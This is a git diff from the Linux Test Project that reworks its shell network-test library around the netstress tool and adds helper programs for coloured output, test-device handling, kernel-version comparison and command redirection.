-	local rfile=${2:-"netload.res"}
-	local type=${3:-"TFO"}
-	local addopts=${@:4}
+	local rfile="tst_netload.res"
+	local expect_res="pass"
 	local ret=0
-	clients_num=${clients_num:-"2"}
-	client_requests=${client_requests:-"500000"}
-	max_requests=${max_requests:-"3"}
 
-	case "$type" in
-	PING)
-		local ipv6=
-		echo "$ip_addr" | grep ":" > /dev/null
-		[ $? -eq 0 ] && ipv6=6
-		tst_resm TINFO "run ping${ipv6} test with rhost '$ip_addr'..."
-		local res=
-		res=$(ping${ipv6} -f -c $client_requests $ip_addr -w 600 2>&1)
-		[ $? -ne 0 ] && return 1
-		echo $res | sed -nE 's/.*time ([0-9]+)ms.*/\1/p' > $rfile
-	;;
-	TFO)
-		local port=
-		port=$(tst_rhost_run -c 'tst_get_unused_port ipv6 stream')
-		[ $? -ne 0 ] && tst_brkm TBROK "failed to get unused port"
+	# common options for client and server
+	local cs_opts=
 
-		tst_resm TINFO "run tcp_fastopen with '$ip_addr', port '$port'"
-		tst_rhost_run -s -b -c "tcp_fastopen -R $max_requests \
-			-g $port $addopts"
+	local c_num="${TST_NETLOAD_CLN_NUMBER:-2}"
+	local c_requests="${TST_NETLOAD_CLN_REQUESTS:-500000}"
+	local c_opts=
 
-		# check that tcp_fastopen on rhost in 'Listening' state
-		local sec_waited=
-		for sec_waited in $(seq 1 60); do
-			tst_rhost_run -c "ss -ltn | grep -q $port" && break
-			if [ $sec_waited -eq 60 ]; then
-				tst_resm TINFO "rhost not in LISTEN state"
-				return 1
-			fi
-			sleep 1
-		done
+	# number of server replies after which TCP connection is closed
+	local s_replies="${TST_NETLOAD_MAX_SRV_REPLIES:-500000}"
+	local s_opts=
 
-		# run local tcp client
-		tcp_fastopen -a $clients_num -r $client_requests -l -H $ip_addr\
-			 -g $port -d $rfile $addopts > /dev/null || ret=1
+	OPTIND=0
+	while getopts :a:H:d:n:N:r:R:b:t:Ufe: opt; do
+		case "$opt" in
+		a) c_num="$OPTARG" ;;
+		H) c_opts="${c_opts}-H $OPTARG " ;;
+		d) rfile="$OPTARG" ;;
+		n) c_opts="${c_opts}-n $OPTARG " ;;
+		N) c_opts="${c_opts}-N $OPTARG " ;;
+		r) c_requests="$OPTARG" ;;
+		R) s_replies="$OPTARG" ;;
+		b) cs_opts="${cs_opts}-b $OPTARG " ;;
+		t) cs_opts="${cs_opts}-t $OPTARG " ;;
+		U) cs_opts="${cs_opts}-U " ;;
+		f) cs_opts="${cs_opts}-f " ;;
 
-		if [ $ret -eq 0 -a ! -f $rfile ]; then
-			tst_brkm TBROK "can't read $rfile"
+		e) expect_res="$OPTARG" ;;
+		*) tst_brkm TBROK "tst_netload: unknown option: $OPTARG" ;;
+		esac
+	done
+	OPTIND=0
+
+	local expect_ret=0
+	[ "$expect_res" != "pass" ] && expect_ret=1
+
+	local port="$(tst_rhost_run -c 'tst_get_unused_port ipv6 stream')"
+	[ $? -ne 0 ] && tst_brkm TBROK "failed to get unused port"
+
+	tst_rhost_run -c "pkill -9 netstress\$"
+
+	c_opts="${cs_opts}${c_opts}-a $c_num -r $c_requests -d $rfile -g $port"
+	s_opts="${cs_opts}${s_opts}-R $s_replies -g $port"
+
+	tst_resm TINFO "run server 'netstress $s_opts'"
+	tst_rhost_run -s -b -c "netstress $s_opts"
+
+	tst_resm TINFO "check that server port in 'LISTEN' state"
+	local sec_waited=
+	for sec_waited in $(seq 1 600); do
+		tst_rhost_run -c "ss -lutn | grep -q $port" && break
+		if [ $sec_waited -eq 600 ]; then
+			tst_rhost_run -c "ss -utnp | grep $port"
+			tst_brkm TFAIL "server not in LISTEN state"
 		fi
+		tst_sleep 100ms
+	done
 
-		tst_rhost_run -c "pkill -9 tcp_fastopen\$"
-	;;
-	*) tst_brkm TBROK "invalid net_load type '$type'" ;;
-	esac
+	tst_resm TINFO "run client 'netstress -l $c_opts'"
+	netstress -l $c_opts > tst_netload.log 2>&1 || ret=1
+	tst_rhost_run -c "pkill -9 netstress\$"
+
+	if [ "$expect_ret" -ne "$ret" ]; then
+		cat tst_netload.log
+		tst_brkm TFAIL "expected '$expect_res' but ret: '$ret'"
+	fi
+
+	if [ "$ret" -eq 0 ]; then
+		if [ ! -f $rfile ]; then
+			cat tst_netload.log
+			tst_brkm TFAIL "can't read $rfile"
+		fi
+		tst_resm TPASS "netstress passed, time spent '$(cat $rfile)' ms"
+	else
+		tst_resm TPASS "netstress failed as expected"
+	fi
 
 	return $ret
 }
@@ -323,17 +395,17 @@
 tst_ping()
 {
 	# The max number of ICMP echo request
-	PING_MAX=${PING_MAX:-"10"}
+	PING_MAX="${PING_MAX:-500}"
 
-	local src_iface=${1:-"$(tst_iface)"}
-	local dst_addr=${2:-"$(tst_ipaddr rhost)"}; shift 2
-	local msg_sizes=$@
+	local src_iface="${1:-$(tst_iface)}"
+	local dst_addr="${2:-$(tst_ipaddr rhost)}"; shift $(( $# >= 2 ? 2 : 0 ))
+	local msg_sizes="$*"
 	local ret=0
 
 	# ping cmd use 56 as default message size
 	for size in ${msg_sizes:-"56"}; do
 		ping$TST_IPV6 -I $src_iface -c $PING_MAX $dst_addr \
-			-s $size > /dev/null 2>&1
+			-s $size -i 0 > /dev/null 2>&1
 		ret=$?
 		if [ $ret -eq 0 ]; then
 			tst_resm TINFO "tst_ping IPv${TST_IPV6:-4} msg_size $size pass"
@@ -345,68 +417,126 @@
 	return $ret
 }
 
+# tst_icmp -t TIMEOUT -s MESSAGE_SIZE_ARRAY OPTS
+# TIMEOUT: total time for the test in seconds
+# OPTS: additional options for ns-icmpv4|6-sender tool
+tst_icmp()
+{
+	local timeout=1
+	local msg_sizes=56
+	local opts=
+	local num=
+	local ret=0
+	local ver="${TST_IPV6:-4}"
+
+	OPTIND=0
+	while getopts :t:s: opt; do
+		case "$opt" in
+		t) timeout="$OPTARG" ;;
+		s) msg_sizes="$OPTARG" ;;
+		*) opts="-$OPTARG $opts" ;;
+		esac
+	done
+	OPTIND=0
+
+	local num=$(echo "$msg_sizes" | wc -w)
+	timeout="$(($timeout / $num))"
+	[ "$timeout" -eq 0 ] && timeout=1
+
+	opts="${opts}-I $(tst_iface) -S $(tst_ipaddr) -D $(tst_ipaddr rhost) "
+	opts="${opts}-M $(tst_hwaddr rhost) -t $timeout"
+
+	for size in $msg_sizes; do
+		ns-icmpv${ver}_sender -s $size $opts
+		ret=$?
+		if [ $ret -eq 0 ]; then
+			tst_resm TPASS "'ns-icmpv${ver}_sender -s $size $opts' pass"
+		else
+			tst_resm TFAIL "'ns-icmpv${ver}_sender -s $size $opts' fail"
+			break
+		fi
+	done
+	return $ret
+}
+
+# tst_set_sysctl NAME VALUE [safe]
+# It can handle netns case when sysctl not namespaceified.
+tst_set_sysctl()
+{
+	local name="$1"
+	local value="$2"
+	local safe=
+	[ "$3" = "safe" ] && safe="-s"
+
+	local add_opt=
+	[ "$TST_USE_NETNS" = "yes" ] && add_opt="-e"
+
+	if [ "$safe" ]; then
+		ROD sysctl -qw $name=$value
+	else
+		sysctl -qw $name=$value
+	fi
+
+	tst_rhost_run $safe -c "sysctl -qw $add_opt $name=$value"
+}
+
 # Management Link
-[ -z "$RHOST" ] && tst_brkm TBROK "RHOST variable not defined"
+[ -z "$RHOST" ] && TST_USE_NETNS="yes"
 export RHOST="$RHOST"
-export PASSWD=${PASSWD:-""}
+export PASSWD="${PASSWD:-}"
 # Don't use it in new tests, use tst_rhost_run() from test_net.sh instead.
-export LTP_RSH=${LTP_RSH:-"rsh -n"}
+export LTP_RSH="${LTP_RSH:-rsh -n}"
 
 # Test Links
-# Warning: make sure to set valid interface names and IP addresses below.
-# Set names for test interfaces, e.g. "eth0 eth1"
-export LHOST_IFACES=${LHOST_IFACES:-"eth0"}
-export RHOST_IFACES=${RHOST_IFACES:-"eth0"}
-
-# Set corresponding HW addresses, e.g. "00:00:00:00:00:01 00:00:00:00:00:02"
-export LHOST_HWADDRS=${LHOST_HWADDRS:-"$(tst_get_hwaddrs lhost)"}
-export RHOST_HWADDRS=${RHOST_HWADDRS:-"$(tst_get_hwaddrs rhost)"}
-
 # Set first three octets of the network address, default is '10.0.0'
-export IPV4_NETWORK=${IPV4_NETWORK:-"10.0.0"}
+export IPV4_NETWORK="${IPV4_NETWORK:-10.0.0}"
 # Set local host last octet, default is '2'
-export LHOST_IPV4_HOST=${LHOST_IPV4_HOST:-"2"}
+export LHOST_IPV4_HOST="${LHOST_IPV4_HOST:-2}"
 # Set remote host last octet, default is '1'
-export RHOST_IPV4_HOST=${RHOST_IPV4_HOST:-"1"}
+export RHOST_IPV4_HOST="${RHOST_IPV4_HOST:-1}"
 # Set the reverse of IPV4_NETWORK
-export IPV4_NET_REV=${IPV4_NET_REV:-"0.0.10"}
+export IPV4_NET_REV="${IPV4_NET_REV:-0.0.10}"
 # Set first three octets of the network address, default is 'fd00:1:1:1'
-export IPV6_NETWORK=${IPV6_NETWORK:-"fd00:1:1:1"}
+export IPV6_NETWORK="${IPV6_NETWORK:-fd00:1:1:1}"
 # Set local host last octet, default is '2'
-export LHOST_IPV6_HOST=${LHOST_IPV6_HOST:-":2"}
+export LHOST_IPV6_HOST="${LHOST_IPV6_HOST:-:2}"
 # Set remote host last octet, default is '1'
-export RHOST_IPV6_HOST=${RHOST_IPV6_HOST:-":1"}
-# Reverse network portion of the IPv6 address
-export IPV6_NET_REV=${IPV6_NET_REV:-"1.0.0.0.1.0.0.0.1.0.0.0.0.0.d.f"}
-# Reverse host portion of the IPv6 address of the local host
-export LHOST_IPV6_REV=${LHOST_IPV6_REV:-"2.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0"}
-# Reverse host portion of the IPv6 address of the remote host
-export RHOST_IPV6_REV=${RHOST_IPV6_REV:-"1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0"}
+export RHOST_IPV6_HOST="${RHOST_IPV6_HOST:-:1}"
 
 # Networks that aren't reachable through the test links
-export IPV4_NET16_UNUSED=${IPV4_NET16_UNUSED:-"10.23"}
-export IPV6_NET32_UNUSED=${IPV6_NET32_UNUSED:-"fd00:23"}
+export IPV4_NET16_UNUSED="${IPV4_NET16_UNUSED:-10.23}"
+export IPV6_NET32_UNUSED="${IPV6_NET32_UNUSED:-fd00:23}"
 
-export HTTP_DOWNLOAD_DIR=${HTTP_DOWNLOAD_DIR:-"/var/www/html"}
-export FTP_DOWNLOAD_DIR=${FTP_DOWNLOAD_DIR:-"/var/ftp"}
-export FTP_UPLOAD_DIR=${FTP_UPLOAD_DIR:-"/var/ftp/pub"}
-export FTP_UPLOAD_URLDIR=${FTP_UPLOAD_URLDIR:-"pub"}
+export HTTP_DOWNLOAD_DIR="${HTTP_DOWNLOAD_DIR:-/var/www/html}"
+export FTP_DOWNLOAD_DIR="${FTP_DOWNLOAD_DIR:-/var/ftp}"
+export FTP_UPLOAD_DIR="${FTP_UPLOAD_DIR:-/var/ftp/pub}"
+export FTP_UPLOAD_URLDIR="${FTP_UPLOAD_URLDIR:-pub}"
 
 # network/stress tests require additional parameters
-export NS_DURATION=${NS_DURATION:-"3600"}
-export NS_TIMES=${NS_TIMES:-"10000"}
-export CONNECTION_TOTAL=${CONNECTION_TOTAL:-"4000"}
-export IP_TOTAL=${IP_TOTAL:-"10000"}
-export IP_TOTAL_FOR_TCPIP=${IP_TOTAL_FOR_TCPIP:-"100"}
-export ROUTE_TOTAL=${ROUTE_TOTAL:-"10000"}
-export MTU_CHANGE_TIMES=${MTU_CHANGE_TIMES:-"1000"}
-export IF_UPDOWN_TIMES=${IF_UPDOWN_TIMES:-"10000"}
-export DOWNLOAD_BIGFILESIZE=${DOWNLOAD_BIGFILESIZE:-"2147483647"}
-export DOWNLOAD_REGFILESIZE=${DOWNLOAD_REGFILESIZE:-"1048576"}
-export UPLOAD_BIGFILESIZE=${UPLOAD_BIGFILESIZE:-"2147483647"}
-export UPLOAD_REGFILESIZE=${UPLOAD_REGFILESIZE:-"1024"}
-export MCASTNUM_NORMAL=${MCASTNUM_NORMAL:-"20"}
-export MCASTNUM_HEAVY=${MCASTNUM_HEAVY:-"40000"}
+export NS_DURATION="${NS_DURATION:-3600}"
+export NS_TIMES="${NS_TIMES:-10000}"
+export CONNECTION_TOTAL="${CONNECTION_TOTAL:-4000}"
+export IP_TOTAL="${IP_TOTAL:-10000}"
+export IP_TOTAL_FOR_TCPIP="${IP_TOTAL_FOR_TCPIP:-100}"
+export ROUTE_TOTAL="${ROUTE_TOTAL:-10000}"
+export MTU_CHANGE_TIMES="${MTU_CHANGE_TIMES:-1000}"
+export IF_UPDOWN_TIMES="${IF_UPDOWN_TIMES:-10000}"
+export DOWNLOAD_BIGFILESIZE="${DOWNLOAD_BIGFILESIZE:-2147483647}"
+export DOWNLOAD_REGFILESIZE="${DOWNLOAD_REGFILESIZE:-1048576}"
+export UPLOAD_BIGFILESIZE="${UPLOAD_BIGFILESIZE:-2147483647}"
+export UPLOAD_REGFILESIZE="${UPLOAD_REGFILESIZE:-1024}"
+export MCASTNUM_NORMAL="${MCASTNUM_NORMAL:-20}"
+export MCASTNUM_HEAVY="${MCASTNUM_HEAVY:-40000}"
+
+[ -n "$TST_USE_NETNS" -a "$TST_INIT_NETNS" != "no" ] && init_ltp_netspace
+
+# Warning: make sure to set valid interface names and IP addresses below.
+# Set names for test interfaces, e.g. "eth0 eth1"
+export LHOST_IFACES="${LHOST_IFACES:-eth0}"
+export RHOST_IFACES="${RHOST_IFACES:-eth0}"
+# Set corresponding HW addresses, e.g. "00:00:00:00:00:01 00:00:00:00:00:02"
+export LHOST_HWADDRS="${LHOST_HWADDRS:-$(tst_get_hwaddrs lhost)}"
+export RHOST_HWADDRS="${RHOST_HWADDRS:-$(tst_get_hwaddrs rhost)}"
 
 # More information about network parameters can be found
 # in the following document: testcases/network/stress/README
diff --git a/testcases/lib/tst_ansi_color.sh b/testcases/lib/tst_ansi_color.sh
new file mode 100644
index 0000000..b7baa9b
--- /dev/null
+++ b/testcases/lib/tst_ansi_color.sh
@@ -0,0 +1,56 @@
+#!/bin/sh
+#
+# Copyright (c) Linux Test Project, 2017
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License along
+# with this program; if not, write to the Free Software Foundation, Inc.,
+# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+#
+# Written by  Petr Vorel <pvorel@suse.cz>
+
+tst_flag2color()
+{
+	# NOTE: these colors should match colors defined in include/tst_ansi_color.h
+	local ansi_color_blue='\033[1;34m'
+	local ansi_color_green='\033[1;32m'
+	local ansi_color_magenta='\033[1;35m'
+	local ansi_color_red='\033[1;31m'
+	local ansi_color_yellow='\033[1;33m'
+
+	case "$1" in
+	TPASS) printf $ansi_color_green;;
+	TFAIL) printf $ansi_color_red;;
+	TBROK) printf $ansi_color_red;;
+	TWARN) printf $ansi_color_magenta;;
+	TINFO) printf $ansi_color_blue;;
+	TCONF) printf $ansi_color_yellow;;
+	esac
+}
+
+tst_color_enabled()
+{
+	[ "$LTP_COLORIZE_OUTPUT" = "n" ] || [ "$LTP_COLORIZE_OUTPUT" = "0" ] && return 0
+	[ "$LTP_COLORIZE_OUTPUT" = "y" ] || [ "$LTP_COLORIZE_OUTPUT" = "1" ] && return 1
+	[ -t 1 ] || return 0
+	return 1
+}
+
+tst_print_colored()
+{
+	tst_color_enabled
+	local color=$?
+
+	[ "$color" = "1" ] && tst_flag2color "$1"
+	printf "$2"
+	[ "$color" = "1" ] && printf '\033[0m'
+}
diff --git a/testcases/lib/tst_device.c b/testcases/lib/tst_device.c
new file mode 100644
index 0000000..d33cac6
--- /dev/null
+++ b/testcases/lib/tst_device.c
@@ -0,0 +1,106 @@
+/*
+ * Copyright (c) 2017 Cyril Hrubis <chrubis@suse.cz>
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of
+ * the License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it would be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write the Free Software Foundation,
+ * Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+ */
+
+#include <errno.h>
+#include <limits.h>
+#include <stdio.h>
+#include <stdlib.h>
+#define TST_NO_DEFAULT_MAIN
+#include "tst_test.h"
+#include "old/old_device.h"
+
+extern struct tst_test *tst_test;
+
+static struct tst_test test = {
+	.tid = "tst_device"
+};
+
+static void print_help(void)
+{
+	printf("\nUsage: tst_device acquire [size]\n");
+	printf("   or: tst_device release /path/to/device\n\n");
+}
+
+static int acquire_device(int argc, char *argv[])
+{
+	unsigned int size = 0;
+	const char *device;
+
+	if (argc > 3)
+		return 1;
+
+	if (argc == 3) {
+		size = atoi(argv[2]);
+
+		if (!size) {
+			fprintf(stderr, "ERROR: Invalid device size '%s'",
+				argv[2]);
+			return 1;
+		}
+	}
+
+	device = tst_acquire_device__(size);
+
+	if (!device)
+		return 1;
+
+	printf("%s", device);
+
+	return 0;
+}
+
+static int release_device(int argc, char *argv[])
+{
+	if (argc != 3)
+		return 1;
+
+	return tst_release_device(argv[2]);
+}
+
+int main(int argc, char *argv[])
+{
+	/*
+	 * Force messages to be printed from the new library i.e. tst_test.c
+	 *
+	 * The new library prints messages into stderr while the old one prints
+	 * them into stdout. When messages are printed into stderr we can
+	 * safely do:
+	 *
+	 * DEV=$(tst_device acquire)
+	 */
+	tst_test = &test;
+
+	if (argc < 2)
+		goto help;
+
+	if (!strcmp(argv[1], "acquire")) {
+		if (acquire_device(argc, argv))
+			goto help;
+	} else if (!strcmp(argv[1], "release")) {
+		if (release_device(argc, argv))
+			goto help;
+	} else {
+		fprintf(stderr, "ERROR: Invalid COMMAND '%s'\n", argv[1]);
+		goto help;
+	}
+
+	return 0;
+help:
+	print_help();
+	return 1;
+}
diff --git a/testcases/lib/tst_kvcmp.c b/testcases/lib/tst_kvcmp.c
new file mode 100644
index 0000000..06632a2
--- /dev/null
+++ b/testcases/lib/tst_kvcmp.c
@@ -0,0 +1,224 @@
+/*
+ * Copyright (c) 2016 Cyril Hrubis <chrubis@suse.cz>
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of
+ * the License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it would be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write the Free Software Foundation,
+ * Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+ */
+
+#define TST_NO_DEFAULT_MAIN
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/utsname.h>
+#include <tst_test.h>
+
+enum op {
+	EQ,
+	NE,
+	GE,
+	GT,
+	LE,
+	LT,
+	AND,
+	OR,
+	ERR,
+};
+
+static enum op strtop(const char *op)
+{
+	if (!strcmp(op, "-eq"))
+		return EQ;
+
+	if (!strcmp(op, "-ne"))
+		return NE;
+
+	if (!strcmp(op, "-ge"))
+		return GE;
+
+	if (!strcmp(op, "-gt"))
+		return GT;
+
+	if (!strcmp(op, "-le"))
+		return LE;
+
+	if (!strcmp(op, "-lt"))
+		return LT;
+
+	if (!strcmp(op, "-a"))
+		return AND;
+
+	if (!strcmp(op, "-o"))
+		return OR;
+
+	return ERR;
+}
+
+static void help(const char *fname)
+{
+	printf("usage: %s -eq|-ne|-gt|-ge|-lt|-le kver [-a|-o] ...\n\n", fname);
+	printf("-eq kver\tReturns true if kernel version is equal\n");
+	printf("-ne kver\tReturns true if kernel version is not equal\n");
+	printf("-gt kver\tReturns true if kernel version is greater\n");
+	printf("-ge kver\tReturns true if kernel version is greater or equal\n");
+	printf("-lt kver\tReturns true if kernel version is lesser\n");
+	printf("-le kver\tReturns true if kernel version is lesser or equal\n");
+	printf("-a  \t\tDoes logical and between two expressions\n");
+	printf("-o  \t\tDoes logical or between two expressions\n\n");
+	printf("Kernel version format has either one or two dots:\n\n");
+	printf("'2.6' or '4.8.1'\n\n");
+	printf("Kernel version can also be followed by a space separated list\n");
+	printf("of extra versions prefixed by distribution which when matched\n");
+	printf("take precedence:\n\n'3.0 RHEL6:2.6.18'\n\n");
+}
+
+static int compare_kver(const char *cur_kver, char *kver)
+{
+	const char *ver, *exver;
+	const char *distname = tst_kvcmp_distname(cur_kver);
+	int v1, v2, v3;
+
+	ver = strtok(kver, " ");
+
+	while ((exver = strtok(NULL, " "))) {
+		char *exkver = strchr(exver, ':');
+
+		if (!exkver) {
+			fprintf(stderr, "Invalid extra version '%s'\n", exver);
+			exit(2);
+		}
+
+		*(exkver++) = '\0';
+
+		if (!distname || strcmp(distname, exver))
+			continue;
+
+		return tst_kvexcmp(exkver, cur_kver);
+	}
+
+	if (tst_parse_kver(ver, &v1, &v2, &v3)) {
+		fprintf(stderr,
+			"Invalid kernel version '%s'\n",
+			ver);
+		return 2;
+	}
+
+	return tst_kvcmp(cur_kver, v1, v2, v3);
+}
+
+int main(int argc, char *argv[])
+{
+	int i = 1;
+	int ret = -1;
+	enum op prev_op = ERR;
+	struct utsname buf;
+
+	if (argc <= 1 || !strcmp(argv[1], "-h")) {
+		help(argv[0]);
+		return 0;
+	}
+
+	uname(&buf);
+
+	while (i < argc) {
+		const char *strop = argv[i++];
+		char *strkver;
+		int res;
+
+		enum op op = strtop(strop);
+
+		switch (op) {
+		case EQ:
+		case NE:
+		case GE:
+		case GT:
+		case LE:
+		case LT:
+			if (ret != -1 && prev_op == ERR) {
+				fprintf(stderr, "Expected -a or -o\n");
+				return 2;
+			}
+
+			if (i >= argc) {
+				fprintf(stderr,
+					"Expected kernel version after '%s'\n",
+					strop);
+				return 2;
+			}
+
+			strkver = argv[i++];
+		break;
+		case AND:
+		case OR:
+			if (ret == -1) {
+				fprintf(stderr,
+					"The %s must follow expression\n",
+					strop);
+				return 2;
+			}
+			prev_op = op;
+			continue;
+		break;
+		case ERR:
+			fprintf(stderr, "Invalid operation %s\n", argv[i]);
+			return 2;
+		}
+
+		res = compare_kver(buf.release, strkver);
+
+		switch (op) {
+		case EQ:
+			res = (res == 0);
+		break;
+		case NE:
+			res = (res != 0);
+		break;
+		case GE:
+			res = (res >= 0);
+		break;
+		case GT:
+			res = (res > 0);
+		break;
+		case LE:
+			res = (res <= 0);
+		break;
+		case LT:
+			res = (res < 0);
+		break;
+		default:
+		break;
+		}
+
+		switch (prev_op) {
+		case ERR:
+			ret = res;
+		break;
+		case AND:
+			ret = ret && res;
+			prev_op = ERR;
+		break;
+		case OR:
+			ret = ret || res;
+			prev_op = ERR;
+		break;
+		default:
+		break;
+		}
+	}
+
+	if (prev_op != ERR) {
+		fprintf(stderr, "Useless -a or -o at the end\n");
+		return 2;
+	}
+
+	return !ret;
+}
diff --git a/testcases/lib/tst_rod.c b/testcases/lib/tst_rod.c
new file mode 100644
index 0000000..ce93625
--- /dev/null
+++ b/testcases/lib/tst_rod.c
@@ -0,0 +1,166 @@
+/*
+ * Copyright (c) 2016 Cyril Hrubis <chrubis@suse.cz>
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of
+ * the License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it would be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write the Free Software Foundation,
+ * Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+ */
+
+#include <stdio.h>
+#include <unistd.h>
+#include <string.h>
+#include <errno.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+
+#define WRITE_STRING(fd, string) if (write(fd, string, sizeof(string)-1)) {}
+
+int main(int argc, char *argv[])
+{
+	int i, pos = 0;
+	char *args[argc];
+	char *stdin_path = NULL, *stdout_path = NULL, *stderr_path = NULL;
+	int stderr_fd = 0;
+
+	if (argc <= 1) {
+		fprintf(stderr, "%s: Takes at least one agrument!\n", argv[0]);
+		return 1;
+	}
+
+	for (i = 1; i < argc; i++) {
+
+		if (argv[i][0] == '>') {
+			if (argv[i][1]) {
+				stdout_path = argv[i]+1;
+			} else {
+				if (++i >= argc) {
+					fprintf(stderr,
+					        "%s: Missing filename after >\n",
+					        argv[0]);
+					return 1;
+				}
+				stdout_path = argv[i];
+			}
+			continue;
+		}
+
+		if (argv[i][0] == '<') {
+			if (argv[i][1]) {
+				stdin_path = argv[i]+1;
+			} else {
+				if (++i >= argc) {
+					fprintf(stderr,
+					        "%s: Missing filename after <\n",
+					        argv[0]);
+					return 1;
+				}
+				stdin_path = argv[i];
+			}
+			continue;
+		}
+
+		if (argv[i][0] == '2' && argv[i][1] == '>') {
+			if (argv[i][2]) {
+				stderr_path = argv[i]+2;
+			} else {
+				if (++i >= argc) {
+					fprintf(stderr,
+					        "%s: Missing filename after 2>\n",
+					        argv[0]);
+					return 1;
+				}
+				stderr_path = argv[i];
+			}
+			continue;
+		}
+
+		args[pos++] = argv[i];
+	}
+
+	args[pos] = NULL;
+
+	if (stdin_path) {
+		if (close(0)) {
+			fprintf(stderr, "%s: Failed to close stdin: %s\n",
+				argv[0], strerror(errno));
+			return 1;
+		}
+		if (open(stdin_path, O_RDONLY) < 0) {
+			fprintf(stderr,
+			        "%s: Failed to open '%s' for reading: %s\n",
+				argv[0], stdin_path, strerror(errno));
+			return 1;
+		}
+	}
+
+	if (stdout_path) {
+		if (close(1)) {
+			fprintf(stderr, "%s: Failed to close stdout: %s\n",
+				argv[0], strerror(errno));
+			return 1;
+		}
+		if (open(stdout_path, O_CREAT|O_WRONLY|O_TRUNC, 0777) < 0) {
+			fprintf(stderr,
+			        "%s: Failed to open '%s' for writing: %s\n",
+				argv[0], stdin_path, strerror(errno));
+			return 1;
+		}
+	}
+
+	if (stderr_path) {
+		int fd = open(stderr_path, O_CREAT|O_WRONLY|O_TRUNC, 0777);
+		int stderr_fd = dup(2);
+
+		if (stderr_fd < 0) {
+			fprintf(stderr, "%s: Failed to dup() stderr: %s\n",
+				argv[0], strerror(errno));
+			return 1;
+		}
+
+		if (fd < 0) {
+			fprintf(stderr,
+			        "%s: Failed to open '%s' for writing: %s\n",
+				argv[0], stdin_path, strerror(errno));
+			return 1;
+		}
+
+		if (dup2(fd, 2) < 0) {
+			fprintf(stderr, "%s: Failed to dup2 stderr: %s\n",
+				argv[0], strerror(errno));
+			WRITE_STRING(stderr_fd, "Failed to dup2 stderr\n");
+			return 1;
+		}
+	}
+
+	execvp(argv[1], args);
+
+	/* Fall back to shell if command wasn't found */
+	FILE *sin = popen("/bin/sh", "w");
+
+	if (!sin) {
+		if (stderr_fd) {
+			WRITE_STRING(stderr_fd, "Failed to popen /bin/sh\n");
+		} else {
+			fprintf(stderr, "%s: Failed to popen /bin/sh: %s\n",
+				argv[0], strerror(errno));
+		}
+		return 1;
+	}
+
+	//TODO: Should we escape args?
+	for (i = 0; args[i]; i++)
+		fprintf(sin, "%s ", args[i]);
+
+	return pclose(sin);
+}
diff --git a/testcases/lib/tst_test.sh b/testcases/lib/tst_test.sh
new file mode 100644
index 0000000..087adda
--- /dev/null
+++ b/testcases/lib/tst_test.sh
@@ -0,0 +1,432 @@
+#!/bin/sh
+#
+# Copyright (c) Linux Test Project, 2014-2017
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License along
+# with this program; if not, write to the Free Software Foundation, Inc.,
+# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+#
+# Written by Cyril Hrubis <chrubis@suse.cz>
+#
+# This is a LTP test library for shell.
+#
+
+export TST_PASS=0
+export TST_FAIL=0
+export TST_BROK=0
+export TST_WARN=0
+export TST_CONF=0
+export TST_COUNT=1
+export TST_ITERATIONS=1
+
+. tst_ansi_color.sh
+
+tst_do_exit()
+{
+	local ret=0
+
+	if [ -n "$TST_SETUP_STARTED" -a -n "$TST_CLEANUP" -a \
+	     -z "$TST_NO_CLEANUP" ]; then
+		$TST_CLEANUP
+	fi
+
+	if [ "$TST_NEEDS_DEVICE" = 1 -a "$TST_DEVICE_FLAG" = 1 ]; then
+		if ! tst_device release "$TST_DEVICE"; then
+			tst_res TWARN "Failed to release device '$TST_DEVICE'"
+		fi
+	fi
+
+	if [ "$TST_NEEDS_TMPDIR" = 1 -a -n "$TST_TMPDIR" ]; then
+		cd "$LTPROOT"
+		rm -r "$TST_TMPDIR"
+	fi
+
+	if [ $TST_FAIL -gt 0 ]; then
+		ret=$((ret|1))
+	fi
+
+	if [ $TST_BROK -gt 0 ]; then
+		ret=$((ret|2))
+	fi
+
+	if [ $TST_WARN -gt 0 ]; then
